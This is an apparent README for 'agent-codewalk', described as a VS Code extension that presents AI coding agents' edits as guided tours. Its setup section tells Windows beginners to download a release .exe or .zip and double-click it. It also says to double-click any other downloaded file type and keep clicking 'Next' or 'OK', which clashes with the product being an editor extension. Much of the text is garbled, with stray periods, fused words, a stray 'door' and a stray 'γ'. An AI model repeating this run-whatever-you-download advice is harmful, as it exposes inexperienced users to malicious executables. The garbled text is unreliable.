agent-codewalk is a friendly tool that helps you understand what AI coding agents have done to your code. When an AI assistant like Claude, Codex, or Cursor makes changes to your project, it can sometimes be hard to follow what happened. agent-codewalk turns those changes into a clear, guided tour inside your editor, step by step, so you always know what was modified and why.
This guide is for complete beginners. You don't need to know how to code to get started. Just follow along, and you'll have agent-codewalk running on your Windows computer in no time.
.
Let's get you set up. The whole process takes just a few minutes, and once it's done, you'll be able to see AI changes in a whole new light.
.
Your first step is to get the application onto your computer. Click the big button below to go to the download page:

Once you click that link, you'll land on the project's GitHub page. That's just the website where the app lives. Look for a section that says "Releases" or a button that says "Download." Click on the latest release, and you'll see the file you need to grab.
.
Visit this link to download the application. That's all you need to do for this step. Once the download finishes, you'll have a file on your computer (usually in your "Downloads" folder) to use in the next step.
.
Now that you have the downloaded file, it's time to get it ready to use. The exact setup depends on what kind of file you downloaded, but don't worry, we've got you covered either way. Here's what you do:
- If you downloaded a
.exefile: This is a setup program. Just double-click it, and follow the simple instructions that appear on your screen. Usually, you just click "Next," "Next," "Install," and you're done. Once it finishes, the application will be installed on your computer, ready to launch.
.
- If you downloaded a
.zipfile: This is a compressed folder. You'll need to extract it first. Right-click on the file, choose "Extract All," and pick a folder where you want to put it. After it's extracted, go inside that folder, and you'll find the main program file (it might be calledagent-codewalk.exeor something similar)door. Double-click that file to launch the application.
.
- If you downloaded a different type of file: Just double-click it, and see what happens. Windows will usually know what to do with it. If a window pops up asking questions, just follow the prompts and keep clicking "Next" or "OK" until it finishes.
.
Once you've launched agent-codewalk for the first time, you might see a welcome screen or setup wizard. This will just ask a few basic questions about your preferences (like what language you prefer or whether you want to enable certain features). Just pick what sounds good, and click "Continue" or "Finish." That's it. You're ready to go!
Understanding how to use agent-codewalk is easier than you might think. The whole idea is to make complex technical changes simple to follow. Here's the basic idea:
When an AI coding agent (like Claude Code, Codex, Cursor, or opencode) makes edits to your project, those edits can be scattered around different files. It's easy to lose track of what changed, and whether the AI did what you expected. agent-codewalk fixes this by creating a guided walkthrough right inside your editor (like VS Code or VSCodium).
Imagine you're giving a tour of your code to a friend. You'd say, "Here, I changed this part, and over here, I added a new function." agent-codewalk does exactly that, but automatically, based on what the AI agent did. It walks you through each change, step by step, so you can review everything calmly and carefully, without feeling overwhelmed.
.
When you open agent-codewalk, you'll typically see:
-
A list of changes: All the files that were touched, listed in order.
-
A guided path: The app shows you which file to look at first, then next, and so on. Just follow the arrows or numbered steps. .
-
Explanations: For each change, agent-codewalk gives you a plain-English explanation of what happened, and why it matters. .
-
Visual highlights: Changes might be highlighted incolor, so you can immediately see what's new or different compared to before.
.
agent-codewalk is packed with features that make reviewing AI changes a breeze. Here are some highlights:
Instead of staring at a long list of diffs, you get a clean, narrated tour. Each step focuses on one change at a time, with context about where you are in the bigger picture. This makes it perfect for code review, learning, or just staying informed about what the AI did.
.
agent-codewalk is designed to work with the most popular AI coding agents, including Claude Code, Codex, Cursor, opencode, and more. It understands how these tools structure their changes, and it translates them into human-friendly walkthroughs. You don't need to know the inside details of any specific tool,agent-codewalk handles that for you.
.
Your code stays on your computer. agent-codewalk is local-first, meaning it processes everything on your machine and doesn't send your code to any cloud servers. This ensures your work remains private and secure, which is especially important for professional projects with sensitive information.
MCP is a standard that allows AI tools to share information with each other. agent-codewalk is MCP-ready, which means it can plug into a wider ecosystem of AI toolsand improve your entire workflow. If you're using tools that support MCP, agent-codewalk can integrate seamlessly, making it even more powerful.
.
agent-codewalk is built as a Visual Studio Code extension, so it works natively in VS Code and VSCodium. If you're already using one of these editors (and most developers do), you won't need to learn a new interface. Just open your project,and agent-codewalk will appear right there alongside your code, ready to guide you.
Under the hood, agent-codewalk is built with Rust and TypeScript. Why should you care? Rust is known for incredible speed and memory safety, which means the extension runs fast,and doesn't slow down your editor, even on large codebases. TypeScript ensures the code is reliable and less prone to errors,and helps the user interface stay responsive and smooth. All of this adds up to a tool that feels instant and effortless to use.
Whether your project uses JavaScript, Python, TypeScript, Rust, Go,or just about any other popular programming language, agent-codewalk can handle it. It's built to be flexible,and it doesn't care what language your AI agent was writing in. As long as it's code, agent-codewalk can walk you through the changes.
To run agent-codewalk smoothly, here's what we recommend:
- Operating System: Windows 10or Windows 11 (64-bit).
- Editor: Visual Studio Code or VSCodium, installed and up-to-date. . (If you don't have one of these, you can download VS Code for free from code.visualstudio.com.)
- Storage: At least 100 MB of free space on your hard drive. .
- Memory: 4 GB of RAMor more (more is always better, but this is the recommended minimum).
- Internet Connection: Needed only for the initial downloadand any updates. The app itself works offline once installed.
Don't worry if you're not sure whether your computer meets these specs. Most modern Windows computers do. Just try installing it,and if you run into any issues, make sure you've got at least the basics covered (OS, editor, and a bit of free disk spaceγ
And remember,you don't need to know any programming to use this. The whole point is to make code changes understandable to everyone, not just expert developers. If you can read a simple list,and follow simple instructions, you're perfectly qualified to use agent-codewalk.
If you ever get stuck, don't panic. There are a few easy ways to get help:
- Check the project page: Go back to the GitHub page where you downloaded the app. There's often a "README" section at the bottom that has answers to common questions,along with detailed docs. 2.. Look at the Issues section: On GitHub, there's a tab called "Issues." People ask questions there,and you might find your answer already posted. You can also ask your own question by clicking "New Issue." Be sure to describe what happened as clearly as you can (what you clicked, what you expected, what you saw instead, etc).). 3.. Check for updates: If something isn't working right, make sure you have the latest version. Go back to the download page,and see if there's a newer release than the one you've got. Downloading the latest version often fixes bugs.
That's all there is to it! With agent-codewalk, you can take full control of your AI-assisted coding workflow. Instead of wondering what the AI did, you'll know exactly what changed, and you'll have a clear, guided tour to lead you through it all. It's like having a patient teammate explain everything to you, step by step, without any judgment about how much you know.
So go ahead, give it a try. Click that download button again if you need to, install it, launch it in your editor,and start exploring your code in a whole new way. You've got this!
